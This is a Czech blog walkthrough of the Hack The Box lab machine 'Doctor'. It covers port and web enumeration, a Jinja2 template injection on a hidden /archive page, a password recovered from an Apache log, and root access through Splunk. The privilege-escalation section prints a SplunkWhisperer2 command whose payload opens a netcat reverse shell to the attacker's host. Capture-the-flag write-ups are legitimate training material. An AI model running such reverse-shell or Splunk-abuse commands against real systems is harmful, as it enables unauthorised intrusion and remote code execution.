tom@home.htb:~$

Blog o HTB

23 November 2020

Doctor

Úvod a kontext

Doctor spojuje dvě rozdílné technologie do jednoho řetězce: veřejnou Flask aplikaci na doctors.htb a interní Splunk na portu 8089. První shell vznikne přes SSTI v příspěvku zobrazeném na neveřejném /archive; root potom přes reuse hesla v Splunku a vzdálenou instalaci škodlivé appky.

Výukově je na tom stroji důležité hlavně to, že oba kroky stojí na detailu, který se snadno přehlédne. U webu je to zakomentovaný odkaz na /archive, u Linux části zase Apache log obsahující heslo Guitar123 v URL resetu.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

IP=10.10.10.209;ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);nmap -p $ports -A -sC -sV -v $IP

Detailní analýza služeb

V dalším kroku si zpřesňuji verze služeb a jejich charakteristiky, protože právě z těchto detailů obvykle vzniká rozhodnutí, zda pokračovat přes web, SSH nebo jinou vrstvu.

22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
|   256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_  256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open  ssl/http Splunkd httpd
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Issuer: commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-06T15:57:27
| Not valid after:  2023-09-06T15:57:27
| MD5:   db23 4e5c 546d 8895 0f5f 8f42 5e90 6787
|_SHA-1: 7ec9 1bb7 343f f7f6 bdd7 d015 d720 6f6f 19e2 098b
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumerace webu

Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 40 -x php,txt,log,html -u http://$IP

Enumerace webu (2)

Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.

Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.209
[+] Threads:        40
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     html,php,txt,log
[+] Timeout:        10s
===============================================================
2020/11/01 00:15:30 Starting gobuster
===============================================================
/images (Status: 301)
/js (Status: 301)
/blog.html (Status: 200)
/contact.html (Status: 200)
/about.html (Status: 200)
/css (Status: 301)
/services.html (Status: 200)
/index.html (Status: 200)
/fonts (Status: 301)
/departments.html (Status: 200)
/server-status (Status: 403)

Analýza zjištění

Vhost doctors.htb a skrytý /archive

Veřejný marketingový web na portu 80 sám o sobě nevydá nic zásadního, ale e-mail info@doctors.htb prozradí správný vhost. whatweb pak ukáže Flask/Werkzeug a po registraci je ve zdrojáku /home vidět zakomentovaný odkaz na /archive. To je přesně ten typ stopy, který změní obyčejnou registraci v relevantní útok.

whatweb http://doctors.htb
http://doctors.htb [302 Found] Cookies[session], HTTPServer[Werkzeug/1.0.1 Python/3.8.2], RedirectLocation[http://doctors.htb/login?next=%2F], Werkzeug[1.0.1]
<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->

SSTI v příspěvcích

Příspěvky publikované do aplikace se na /archive renderují přes Jinja2 bez dostatečné sanitizace. Proto má smysl vložit klasický SSTI payload a počkat, až archiv zpráv vstup vyrenderuje na serveru.


Získání přístupu

Shell přes /archive a heslo shaun

Jakmile /archive payload vykoná, vznikne první shell. Lokální enumerace potom rychle ukáže Apache log, kde zůstal request na reset hesla s hodnotou Guitar123. Ta funguje pro shaun, takže dává smysl přepnout se z webového procesu na stabilní uživatelský účet.

linpeas.sh
=> /var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
su shaun

Získání user flagu

user.txt tady potvrzuje, že SSTI a lokální logy nakonec vedly k plnohodnotnému shellu pod shaun, ne jen k přechodnému webovému kontextu.

cat /home/shaun/user.txt
__CENSORED__

Eskalace oprávnění

Splunk jako root kanál

Na hostu běží Splunkd na 8089 a heslo Guitar123 funguje i pro účet shaun ve Splunku. To dovolí použít SplunkWhisperer2 a přes instalaci škodlivé appky spustit příkaz přímo jako root.

python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.4 --username shaun --password Guitar123 --payload "nc.traditional -e /bin/sh '10.10.14.4' '4000'"

Získání root flagu

Jakmile Splunk payload doběhne, je root shell už jen otázka navázání listeneru. Tady je důležité, že příčinou není samotný netcat payload, ale možnost vzdáleně doručit a aktivovat Splunk appku s privilegiem roota.

cat root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: linux - ssh - php - exploit - enumeration - privesc